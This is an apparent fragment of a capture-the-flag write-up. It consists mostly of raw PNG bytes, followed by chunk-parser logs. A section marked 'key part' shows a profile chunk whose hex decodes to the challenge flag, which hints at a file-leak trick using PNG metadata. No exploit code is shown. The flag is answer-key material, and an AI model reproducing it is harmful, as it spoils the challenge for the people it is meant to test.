\xa1\xbd\x15r\xe9\xc2\xf1\x93\xd2;H\nE\x88\xb7b\xeboy\xc7\x10\xf3\xebmi\x8c\xb7\x8a\xd4WM\x1b\xf9\x85\xd5\x83\xdb\xbb5\xfeA\x84Q\xbf\xe5\x0bRh\xfb\xa5F\xd2\x88\xce4\xbb\xbf0\x1f\x93/\x1d\x1c\xf5\xc6\xd3B\xe8\x96\xf2\xf1\xa5\xb5\xac\xd3^\xb2z\xbb\x156\xa7G\x91=+\xe9\xd1\xd9\xba\x7f=\xb3\x1fz\xb4\x14\xf6\xdbc
)\xed\xbe\x14ng\xb3\r7\xbc#\xe3\xd71\xf1~2l\xbd\xb8\xb2\x86bZ\x08\xfb\xda\x887\x0e&\x8d\xbe\xb8P\xf46\xb2\x1b\xf2s\xfdp. tg\xb2\x85\xbd\xbe\xad\xca\xbb\x96*\xf1H[U\x9a\xa9\xd1\xa4\xb7\x9a\xb2\x13\x8bl\xe8\x95\xfa\xa7\x11:]*\xbe\xd1K\xce\x91\x14o\x9b\x96\xb2D\x04\xf3f\xd2k;#\xda\x0f\xae\x10\xce\x04\xf7\xb6\x
d8\xaf\xdb\xbc\xdb\xcb\x06+\x17\xe5\x99\x99\x1eEbp\xd5\xf5:,\x84\xa9\xf9S\x1f\xe7w\x08r_4\xae\xbfF\x08\xec\xb3\x16\xc4\xda\x83w\x1da\xfc0B\xbc\'\x8b\xc64\xa6\xcd\xf3\xbb;\xcc\x00\xc0\xa0el~t\xfe\x98h)\xd2\r.\x8dN\xdd\xe3h\xaa\xdcV\xea \x9b\xaf\xcb\x84\x8cO\x08\xfd\xc7\x1e\xdd{!\xd4\xc49\xd5~l\xaf\x9d;\xd8\x
f1FE&\xa4\\\xe5jz\xf40\x84\xc1!\x9d\xf5\xfa\xd9\xfd\xedl\xe1\xaa&53ck\x89=\xd4?\x85\x10\xf3?\xe2;8\x8d7\x19X~\x99jM\xd3\xa2DI\x1ev\xe8\xf1^(1s\x9c\x14j\xa4(C\x82\xd2\x996\x14\xba\t\x8a\x10\x80\xc3-\x87\xf2\x1c\r\xdezpo\xef\xceHpR:\xdd\xe9\xe3/\x82\x84\x18\xeb\xbf5\x82\x1c\xecX\x93\xe4\xf0\xf0\xb7\xa4p[X\xd1
\xe9\xccm\xb7.\x1b\xcc\xfb\x82\xfc=\xa0\xeb\xf4\xeaS\xb6\xc9\xd6%\xfc\xd1oJ!\x86\xca\xd4\x0b\x06-oI\x03|\xfeoN\xb2\xb7s[^\xb0\x86?"\x85\xef\\h\xdf\xb1\x11^%\xb8A\xd0u\x82\xa1\\u\xa2\xe2{R\x88\xa12M\x92`\x8bH\xfe\xc3\xa6\x10\xb6NU\xfaNL\xfe\x90\xe0\x8czt\x0f\x84\xd8&}\x16$\xdd\xe6Cx=\xb0v\xe3B\xb6\x8eX}x/.m\
xf3\xce#\x82?"\x853{9\xd3ThX\x85\xeb\xb5\x1d\xa6\xceE\xd7\xd0\xd3\xfa\n=1\xad\xaf!\xc4\x96k\xd7\xe8\x9cfm\xb1\x07\x19\x93q\x8b\x19\xbe\xd3BtC7%epG\x84sWE,\x9b\xdf\xf6\xc3\x9b\xa6\xae1\x84\xa0\'\xde\xf1X\xdd\x9d1t\xf6\xcapK)\xec\xed\x1b\x8f\xbe\xdf\x18W\xb8\xb3\x12\xf9-\x06+\x04/J\'*\xfb\xbe.&\xae\xecn\xb6\x
10\xf3\xd7\x99o!\xc7\x8c\xd4\xec\x8a1M\xa2\x16I6\x96\xd0\xa9\xa3\x9e\xd2\x1c~\xc3\x9d\xc1\x16i\xa1Me\xe3\xf6,\xbdnv\xb1\xd9\x88\xff=\xb3\xbcp\xe3\xa2\t\x9c\r\xe8^\x08\x81-\x97I}\x1a\x1bp\xe8\x08W\xff\xbba\x99\xb6\x10\x05;G\x11\'\x13\xc9\xc7\xee\xb2\xf7\xf6e\xea\x80\x8f\x0e\xde\xae\x03\xca\xfa\xcfWv\xe3\xd6A
\xeb\x15\xbe\xb1\x11q\xdc\xf7\x89\x18,\xe5B\xdc1\x96\xcc!zwF\x178\x0f\xc0\x9dma\xbcJl\xe3(\x13m\xf5\xb6\x1c,\x1cP7\n\xdeze\xe7qk\x1er\x9d\xb1\xa9#\xf6\xa9\xdag\x17\xc2a\xc0\xc7\x85\xf6\xb6\xd0.\x81p\x9c\x0b\xe89%\xa3B\xb4M\xder!|\x97^\xe6\xbao\xf2R\xd9w\xd1;U!\xdcB\xc9\xcd\x10\xc5M\x06\xe1\xd3\x9eH\xbc\x12\
x8d)\x00\xe2\x07\xb9C\xc1\xef\x86\x80P\r\x87k\xf0}\x9cE\xeazx%v\xbe\x8fA\xc8\xda\x1cT\xd3S\xc4\xb2\x0cd\x1f\xa1\xa4\xf0uW\xb7)\xcdv\x97\x17\xf4w\xccj\x8d\x1eI\xb3\xeaP\x03\xb4\xdb\xddOn\x8e\xb0\xe5\xd2\xee\x80P7u#\x87\xa4\xf7\xd3n#\x19\x83\xf8\xcc#\xb5\xef2\xbbW&O\xcd\xac\xfc\xe9\xa9\x1a\xad\xef\x86p\xd6\xb
5G\x02q\xfd\xaf\xaf\xde\x94\xb83:<\x959z\x00\x88\xcf\\\xda\xc5\x11\x0ew\xb7\x85QZ\xeb]\x84\xf7c\xd0\xdc]P}\xf9j\x93\xadJv\xa0\x08\xfa\xd1\x1f\x1b\xed)\xec\xa9\xf0\xde\xa5\xdd\x03\xe1\xf4\xd6T\xc4\x17\x85\x15Da\xce"wM\x99#JN\xe5\x8e\x8d\xbe_\xfa\xf6\xa5]\x1baZ\xc5\xa0c[\x18\x14)&v\x00\x8d}\xc0\x12\x97\x06\xe
1\xd8b\x1f\x94\xd1\x05\xcd\x15h\\\x1e\xe1&\x17\xc6\xa9Qs\x8f\xc3\r\x06\xab\n\x0f\x8aT\xfb\xe7\x813\x88\xe6A\x99\x92\xc4S1\xfc\xd2n1\x93\xc1>\xc8\xbdm\xcc!\x06\xceL\xcf\xa1\x81\xc4\x03&\xfa\xf4\xdc\xc4\xbe\x82pf\x93T8\xcd\x16%\xb0\xf9\x87\x15\x92\x10\x03\xfa\r\xae\x95\'\xd5 \xe4\xa8Q\x121\x91G8\x15\xd4\xc7Q"
\xd7\xf7a\xbc\x98x!1\r\xdc\x9c"UVTL\x85\x0f\xb9$b>\x83\xaa\x7fB\x91n\xd5\xa0\x10\x08\xf8\r\xe6\x86\xd0F\xdd\xc9\x1a(\x7f\x12\xf4<\x9b\xbf\x9c`\xdb\xd0\t2&\xb5\x91\xdf\xe2,\x9cPY\x85P\x87\xebZ:\x04A\xb6\x01~\xff\xdan/\x85i*fx\x93\x11\xfc\x16\x97\xe8\xd2X\x8d\xb6\xe1\xe0x+\xe3\xf6\xa7\x15i\xce\x8f\x18+\x96\xa
21;\x985\t\x1a\xba1^z\xf0\xe41\xf9\x9b\x8aT\xe7\xbf\x8fP\xf4\x9d\n\x8a\xf8\xb4\x9bzC\xa8\rG\xa2L\x11la\x9f\x1b\xe5\xa8\x1b\xaf\xf9\xe6R\x88\x19\xb9\xf0.\x7f\x0c\xec\xdd6\x82\x8dWJ\x9d\xa6\xf5$32\x8f\xbf)\x85\x9b!\x8a\x0c\x19f\xfc\xc4\ta+\x86\x92Q\x1c\x12L\x83\xc2B\xe8]\x19!j\x923$Aw\xa3C\xcd\xf4\xeb\xe2\x95
\x06{\xf8:H\x9f\xa0H\x10D\xfc1\x84\xb3\xb3\x83\xc1\xee\xd8;\x0b\xa0aH3&f\xda\xd5\x04\x15^\x0e\x11\x92l\xe1,^\xde\xa7>\xf7I\x8c\xe1\xe30-\x8a\x90?[@\xc2\xddT\xfc\x16\xf7\xd3Z6u5\x10\x8d>%)\xd2V\xa4\xd1\x9e,|\x88\xeb\xb8\xa6\'(BL\x95\x9c\x95\xc2\xb6\xf8\xc2o\xc9\xaa\xea\xc4p\xb5\x91/\x19Z\x0f\xd1=\x0f\xaeW\x9
3x\\\x11b\xabC\xfdWwo\x91M\xa2\xab\x92:$\xfa\xcd\x96\xa37\x87\xfcS\\\xc6\xa9y\x1c\xc3\x8fL\xc9\x93{kD\xd08\xa5QwF9l\xde\xb6\x96\xadysh\x9f\x94lb\xbf\x10v\xee\x03\xfc\x1fx\x87\x14\xeb\xcd7\x1e\xe9\xb0\x80\xac}\xc7\xda:\xb8\x15D\x89.Sw\xba\xf7\x9c,\x7f\x0e\xd2\xa0V\x8b6\xde\xc6\xe2j\x98\x89^\xdaZM7\x9dY\x9f\x
af\x10\x15\xa8\xfc\xee2\xfb\xbb\xe7\xac@\x97\xef.\x7f`\xdd!-)\x0c ]\x99\xc3\x82\rN\xa9b\x91\xc0\x7f\x13\x82\xf5 g\x11\xeb\xf7B$o\xc9\xf7\xa7\xa5P\x84\x14\x1c\xc1\xd5\xe9\xfa \xadw\'u\x8b\xde6\x92\x08]_V\xe13\x92(/Y\x84\x16B:\x07\x07\x1b\xb0\xbd\x84\xc2\x15$m\x9d\xbck~H\xfb\xfc\xe8\x13\xe2k\xe3nYw\xedn\x94l
\xd4\x9d\xe7e\xf9i\x84\x13\x17\t\xe7$.\x00\x13)\x1c.1\xccDPy+\xb1_\x88\x8b9l\xa4p\x85\xd8\x12\x9b\xbe\xa4{\xdbB\xe4z\xb4\xfd\xbf\x11\xc4\x97<r\x13\xd8$\xd6BV\xa6\xf9.\xf5Z\x9f\x8e)Z\xa7\x17\xe4\xb3\xd8Oz^\x9f\xf4\xe7\x8b\x04\xc1\xc3\x895`k\x05\xd1\xb8\xf7p\x12\x975\xac\xd0\xe5\xdd\xfa\xca\xe3\x80\xa4V[\xa7\
xd4\x8b\xa0\xb5\x88A\xbf\x9cP\x95~\xb97\xb7\x83\xd2(\xd1V\x10\xdb\x8c\x9b\xe9.AJ\x10\xe9dSR\x86(\xcb\xd1\xc2Y\xc8\xa3\xe4\xcc\xf5Y\xf5\xe8w\x1a;\x87U\x9e\xad!\xb4w.\xa4\xb9@\x16\xfa\xba\xfa\xd18\xe5\x1b\xeaI\xc14i\x93T#\xcfR\xa8\x9bC\xff\xf2\xeel\x0b\xed\xde\xac\xb0\xf2\x08\x9e\xfe\x92\xe6\xde\xe6.\xa76"\xd
7\x14\xb0\x91\xfa\x19\xf2\x91\xda\xb3\xf8\x14^\xfeYO\xd42hG\x84\x18\xb4AD\xc8\xbb\xac\xdd\x94 \xae\xdeZ^[-3z\xdd\xc2\x0b\xc6q=\x94;K\xf8\x14\xd6(wsL\xb7l\xec\x0cr\x81\x10\xbe9O{\xe7\x88;#|wWm0E)\xb4o\x08\x9fk}X`\xd2C\x9eb0\xe1\xac\xf9\xda\xf12\xb9\x8fG\xca\x9b\xe7\xb6\n\x15N\x87Z!d\x0ba\x10\x17f+\xeb\xcd\x0
6y\xa6_\xe4\xe9\x91jl\xe8\xd7\xb8\xa4mfF\xb4\x8d\xe1\x97L\xe9\xea\x8bBO\x18\\|9.\x0cu\xb6\xb0\xb3\x10.\x92\xe8,K\xf1U\x88Q\x08\xbb\xeb\x1a\xddY`\x9f$\x1b\x1a\xca\x07\xda:^\x1eaX\xab\x1bV\xf6F\x13$\xa3.\xd0\xeb\xeaPW\n\xac\xdd\xfd\x81B\x8e\xc1\x1b\xe5\xf1\xa7\xfd{\x08\x81\x18Sx\x03d=\xd2\xe1\xcd\xf2\x10\x9d\
x14\xea\xd4\xae2>I\xeb\xe40\xcc\xe0\x7fb\xbe\xe4\x92\x08}L\xe1\xad"\xd5U\xedd\x0f\xb2\x8d\x0f[]\xda\x06\xf5*\xb4)\xbb\x89\xed\xc7g\xce,\xf7\xe9 >\xbe\x04\x90Z\x17t\xef\x1bO\xc8\xb8\x8e\xf6\xda\x8a\xe1"\x84J\xde\x99X\xe6\xeciBj\xb9\xcf\x06q\xe7\x96\xb2\xac\xcf\x19\xecc\xcd\xc21\xe6\xdb\xda\xee\x87\xcd\x8b6\x
e1\xe0j\n\xcd\x8b\xf7i\x90D\x0c\xe4\xb3\xf0i\xaf?\xd1R\xb6\t\xc7A\xec\x1cr\x19\xcc#\x135\xbbc\xc7~\x17\xc6\x14\x867\x0f"t\xf6i@\xec%\xe2\x05\xde\r!\\6%F\x0c1\xa8Hc\x7f\x9b\x12\xf5}\x81\xd47\xbc0\xa60\xf6\x10\xeal\xf1\x1a\x12}v\xbe)\xc4\x1d\xfcZ\xaf\x1f\xdaw3\xdcL5E\xa3\xe3R\xcbi\x87\xbcl\xb7\xb3%$\xff\x9d\x
93\x87\xfcV8I3\xed\xe4\xa6\x90\xd6p\xbd\x89\xe9\xed|\x94\x9b\x8ez\xbe\xba\x8b\xd4\xebK!y\x1a\x01\x12\xf4Ec\x98\xa6\xd1H\x14a\xb7\xc6\xd3T\n5\xecY\xdf\x8d1\\\xea\xad\xf7i\xd1\xbf\xd8\xeb"\xcc/\t\xcdd\x12x\x89h\x90X.\x80q\xa3Q\xeb\x92z\x874n\x11\xca\xf7\xf5\x01sS\xf9\xa75n)\xc67\xe1B\x08\xd3M\x00\xd8$D\x88\xe
e1\x11\xc9\xd3\xed~\xadKJ\x1c\xd2@q\x18\xeb#\xc6\xf5|:\x83R\xc4\xa5\x15){\x1aM\xfa\x1ft\xf5\x82\xff\xd2!\x18\xfa\xaai+\x85\xcd4\x13\x7fc\x9f!\xfb0~Z\x18\x01\xe2\x19B\xc4\xc7\xe7\x85\xd0>\xa3&\xa2\x08\xab\xc0\x02<\x10Mg[\xc9\xc4\xdd\x9au\xe5\xd7H!\xdbfr\xb8\x13)#\xd8\x16g\xb4\x97\x04\x06\x117\x90B{e\x08\xa5M
@\xc6\x10\x01\xde\xban\xbe\xb3\x9b\xb9\xb6\xfc\xe4W\xa1f;s\xaf3\x1b\xa4\x8f72\x82v\x81\x1c\xc4\x97\x97\xe3\x06\xb53\x98\x02\x18\xca|\x93\x9e\xf4\xc6\x81Q\xb7sdB\xc6dg\xba\xef\x946\xa5\xca\xa5\x07\xac3\x1c\\\x81M\x06\x11\x17\x97\xc2\xe8[\x82/\xcft\x0c\xc7]\\S.\xbfR\xb7\xceT\xe4R8\x9e\xbb@\x9ct\xe6\xcbTA\xfd\
xd8\x0bK!Xt\xd5\xc4Xl\x91t\xc33\xcc\xc5\xc5m\xafm\xd7t*\x85\xab\xd0f\xb60\x99\x07Vay\\\xf6I}>\xc2\n\xe2ab\xf8\xf8\xbc\x0c\xa6:\x146\xd8r\xcdxC\x8dh3\x01\xa1\xd6#\xdd&\x85\xc6#U3\xa5\x91\xb5\xbc\x14\xf1+\xb9M\xd9w\x9c\xe9<R\x0e\x1f;\x11d:\x94i\xd2\xfe\xc2\x97\xc4\x14n\x92\xc2\xc4\x18v\xfb\xfa\x81\xeb\xd1D\x9
b\x1e\xccp\x9fjn\xaeC\x83~\xa2\x15\x164\x8d\x92c\x19Ia\xd7\x18*\x0f/|\x03\x1a/\x85iv\xf7\xaa\x08\x91\xb90D\x04C\x9fQd\xfb\xd1+\x99=2\xb9\xd1I)d\x86\x93\x9e\xa7M\xb2C\xfa\xeb\xb8\xc3\x14\xa3\x1c(\x8d\x8f\xcf\xcb\xe0\xa2\x8d\x88\x08\xb2^\xb1~rb\xd5\xa2\xa6\x92"W\x8eA\nS\xa5\xdb\xd6i\x10]\n\xba\x1b\t5\x87\xcd\
xca\x0b\x1c,\x87\x8f\x8f+P1\n\xd4\xcb_\xd2F\x92\x06\x85M\xef\x18u\x0e\xa9\x9f\xac\xb0R\xa8\x81\xe0\xfa\xbb\xaeg\x8d\xc6y1\xd6\xda+\xb3\x88\x00\xbb\xfc\xab\xe7Hm\x86\xc3[\xc1\x89n\xbfN\xbd\xb9\xb4\xb5g\xe8\xe3u\xb7QE\xfcb&\xf9\x93\xaci\xd2\x0f#\x08\xa2\x9c\xa1I\xdbc\x175J\x9a\x91\x08\xf7g\x12k(f\x91\xa7\xf6\
xa9\x84\x1ci\x8f\xb7\xfa\x83SK\xc8\xbd\x19I\x9a\x9b\xf4U\xa9\xee\xbc\xcd\xda6\x84\xac\xb1\x12\x9fmK\xd9\xadYRa\x9d\x94ULs5b\xdd\xe2\x17\xdf^\x9d\xbe\x89XN\xb3me\xec3-"\xe0\x1f>`Lf<M\xa6\xf0\x1c\x08\x07\xfb\xc0S\x01$\x97o\xba\xe4\r\rI\x12\x14\x06)|Q\xe9Ia?\xc7\x16\xba\xbd\xa3\xf3\xf9\xa9(\xe6\xf7l\xc7\xc2\x8
c\xc7v\x82\xbdO\x03\x9ah$\xfa\xc8\xbc\x84\x07\xd7K\x15sG[\x0fE\xa3\xe5\xa4\xbeO,ySe\x14\xe3L\x13\x92fm\x1bv\x07\xd2\xe3\x11\xf66}#\xd6\x8058$\x13q\xfc\xf9u\x8b=u\t\xc2;q\x82\xf6#\x10\xe3\x92j\xbe\x8bd\xd8YFb\x03E\xda2\x91ZD\xdd\x9f\xe1\xc7g*\xc8l\xa9\xc4\x1c\x87\xa4}e\xfc\x92ki7\x7f\xa1\x0c\xc3\xcei\x9c\xa0
\xba\xca\xeeva)\xcd\x93\xe6\x1f\x9a\x02\xbe\x80G\xbae\xdf>\xa2\x8f\x00f!\x87\xab`\xb4\x17$4\xd3\xf6b\xf7\xfb\xd1\xf47\xc8\xce\x16\xd13\xe3\x1f36\x9f\xdd\xd8.X\x8fE8\xb9\x13\x13\xd9\x87\x90e\x1a;\x96$4\xa3\xec83\xe3\x04\x1b\x7f\xbf+\x00\xef[s\xf0\xd9\xea\xb8\xef\xe1\xa5\x8b\x10\x9dS\xc6Z\xa6K\x12WE\x7f\xce\x
b5\x05\x9a\x91\xaa\xd4\x81\xcd\x1c\x9a\xa4\xbdP\'\xa8%\xfb\xbb\x99\x94\xdcT\x82TO\x89\x10)\xce\x08\xd2\xf7\xd9\xce\xea\x0f\xdd\x86\x05!C\xa6q\xd5R\xdc\x822\x14}\x07\x0f\x96\xb7\x0f\x0e\x91m0\x84\x089\x80\xec\x9e\xe8\x99\xa4P\xe7\x9e\'$\x19\x8e\xd0g\x1b\x88}K$K\xb6\x11\x9fD\x97\x1fe\xee\x8c\x84b\xee6?3\xc8/\
xc5\xcf\x89\xb8\x7f\x8d\x9c\xa3q\xf0\'\xd3\xdcqe\x84\x9f\x19$\xdd+{W\xaf\xa1\x04\xf8\x03\xee\x0c1\x86\xa9\x1cFM\x9a\xef\xd7>\xe5\x96\xeaq\x08\xb75\xe0\xa5\xdb\x02\x92\x12\x94\xfe\x9c)7\x85\xd2#\x920\x17n\x0c\xbb\x19\x1adE?\xfc\n\xef\x92\xe6\xcew\x12\xb1\x0e\r\xeb\xfc\x94\x05\xf7I\xb2E\x84\xcf=(_[H\x8d\xa1\x
ea\x80\xa1-\xbd\x93\x1e2\xdc\x05!\xdb\xaf\x9a\x15\x1d\xd2\xae\xf7\xd6\x9f\xb1sA\x9a Q\xbb\t\xa5\xa4\xc9\x1c\x11\xb6\xb6"\xdb\x0c\xa1\xad\x1a\xa1\xdb/\xb0=\xbf/\x8d\x90\xb7\xc9\xcbd\xd0Mx3\x87\xd4\xce\xe6\xc5\x950Y\x9cG\xe2HI\xa2\n\x95l\xc2\xc9\xae\xb0\xa7\x85\xa5\xf1\x91\xa5\xd3\x14\xdf\xd9\xbcy\x0e\xe1\x1b
\x9f%\xeeCF\x1bGJ\xd8\xd5#\xec\x8e\xdd\x16~*\xfb\xe2kC5}\xaf\x980\xc4Bt\x9f#i\xb0\x99\\\xdd\x1dl!Hh/T\x95\x92./\xcd!lm\x92\x0f\xd4\x13E\x1a:^t\x14)kg\xa2\xea\x18\x12e\x1a\xd4\xa8\x90\xd0\xfe\xca\xeb\x0b\xed\xd3\xc996\xad?\x89\x08\xfa\xd5\xced]\xa7\x86\x98\xbd\xf1H\xb5\x9d\xd9\x08?\xb75\xdd\xc2z\xb7\xc5\x0fc
\x0baY\xb5\x81\xbf\xe6[\xb83$G\xe3T)m<\xf0\\\xeaE\x08&\xde\x8cD \xc9\xbf{\xfe\x8cg\xd8~\xa0\x10\xe9#\x1a@\xdcI\x91f3\x15\x12w\xaa&\xfd\x11\xf2i6\xed\x0b\xe1(G\x9a\x88a>y\rd\xd1\x85\x90T\xc5\x1b\x10\xf5\xc4\x08A\xed"B\xc0\x81\xe9\x85\xb2\xa6YPlAb\x81\xb8]\xed\xbd8[1\xec\xddK\xda.\xc7\xe9J^0r\xe6\x99\n}\x17e|
xC"\x8e\xefa`B\x8a\x9c\xc6|P!\xc4%\xcd.-\x14\x87\xfaPWN\xb5?\xdegW6\x11#\xc1\xd6^\x8a[\xc76|\x822\x9d\x18\x9f1%\xbfK\\\x9c\xd1\x95\xb0\xc6c\xa9\xc29\xd8\xa3\xd9\xaf\xb1s\xac\xea\x8b;Z\xf5\xaa\xbe4U\x8aBC\x04j\x0b\x99\xf79\x16C1\xfd\x1b]\xf38\x90+\xbc\xa1;\x93\xc5J\xbdz\xcb\xe1\xfd\xe0b\xa8>Y\xc6\x93\x012\xd
5\x9b4O9\xa1wY\xb7C\x18\x17~\xfa\x95\x133\xbdY\x9bD&\xd7\x7fJJ44\xfdy8\xd2\xb0\t\x8d\x8b+h\xe1\xf2)`\xee\xdb\x8f4\xbal[\xd7\xe4i*\x88&\xcbM\xb2\xaa\xec\xfd\x1b\xfd3\xde\xde\xefl\r\x9e\xf7\xe9\xfe\x04\xee\x7fO\xde\x02\x9d\xd0\xa4\xf3\xee\xccH\x8f\xea\x06K\x80\xec\xf2\x8etNw\xdb\xb3)<\xb8\xe3\r\t\xf9\xcd\xd5\
x0c\x86fh\xac\xbd\x8c\x10u^\x12}YiT)\x9d\xab\xd1\xb3#\xd4\x99G\x0f#\xb7%k\xe7\xa9\x8e\x86\xd2\x9f\xa4\xcd\xf1\x92\xad\xd5\\S\xbd\xa4w>\xbamd0s\xc9W\xb7\x85ys_\x1f_m\xdc\xa4W\xf9\xdf\xba\x1e\xe9V\x91`\xcd*\xf3\x06Go \xd3\x93#D\x0c\xe2I\xec\xdb\x8d\xff\xa7\x82\x8a\x9e\x07\xbb\xd5\x18\xf6\xd2\x84\xddk\xc0):\x0
7\xed\xdf!\x9f\xd8\xc7\xc94\xff\xc0d\xe9`\xc6B{\xbf:\x83\xd4\xae\xff<\xc1\x8a\xec\x83\x10\xe6\xd7;\xd3@PSiR\x92h\x89)\x1dM\xe5P\xdf\xffPW\xdc\xfcN\xff\x11\x96{\xc7h\x01\x82\x06\x07E?f@\xfc\xb1\xfa\x01~\xdc5\xe3D^\xcc\xe7\xa5\x10\xec/0f\x04\x9f\xb8\xe2\xb7\xe3\xc2\x7fU \xf6\x1a\x90\\\xf1]\x14)z\x97\x85\xfc\x
bboi\x03}\xfb}\x13\xa24\xf8\xb0\xb8Y\x9a\x1b\x9f\xd51:\xfa\x89\xd2\x06\xbfn\x8e\x7f\xe28\xc7^\xe6%\xdc\x19"\x9ex\x03$+v\x19d\xcd\x06\xbf\xbc1=s\xd6\xf1\x90\x13\x0f\xbd\xe8\xb1o\x850\x9d\xbd\xff\xc7{\xcfj\x93U\xe7\xdf\xfc\xaeGs\xc6\xc0\xe2\xb1;\xbf\xcf\xb4\x9a\xeb\x85\xe9\xda\xff\xc6\xa7D\xcf\xcd\x93\xe1\x8fH\xe1\x07\x9c\x01\x9d#\xa0\x13?\x1f\x1d\xe6t\x9e\xca\xb1\x08\xf1\xc9;\xa1\xef\x0b\x93~H\x0eqZ\xe4\x8f\xbd\xa4\xaa\xf3\xa6=r\xfb\xba\xf1\x9do_\xe1\xf9\x04\xf2\x7f%m\xa5z'
2025-03-10 15:33:02,701 - INFO - chunk tEXt found, value = b'date:create\x002025-03-10T07:31:29+00:00'
2025-03-10 15:33:02,701 - INFO - chunk tEXt found, value = b'date:modify\x002025-03-10T07:31:29+00:00'
2025-03-10 15:33:02,701 - INFO - chunk IEND found, value = b''

关键部分

1
2025-03-10 15:33:02,688 - INFO - chunk tEXt found, value = b'Raw profile type\x00\n\n      27\n54504354467b6576316c5f504e475f6d616731636b5f4c66697d0a\n'

image-20250310153447594